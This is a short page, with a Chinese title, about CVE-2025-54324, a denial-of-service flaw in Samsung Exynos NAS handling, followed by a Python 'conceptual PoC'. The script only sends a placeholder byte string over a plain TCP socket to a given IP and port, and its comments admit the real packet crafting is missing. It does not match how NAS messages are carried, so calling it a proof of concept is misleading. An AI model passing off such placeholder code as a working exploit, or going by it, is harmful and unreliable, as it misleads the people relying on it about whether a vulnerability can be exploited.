CVE-2025-54324 Samsung Exynos NAS拒绝服务漏洞

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-54324 (Samsung Exynos NAS DoS) Note: Actual packet crafting requires specific NAS protocol implementation. This script demonstrates the network transmission logic. """ import socket import sys def send_malformed_nas_packet(target_ip, target_port): # Placeholder for a malformed DL NAS Transport packet # In a real scenario, this byte stream would contain specific # NAS protocol fields that trigger the parsing error. malformed_payload = b"\x05\x01\x00\x0a" + b"\x00" * 20 try: print(f"[*] Sending payload to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(malformed_payload) print("[+] Payload sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") sys.exit(1) send_malformed_nas_packet(sys.argv[1], int(sys.argv[2]))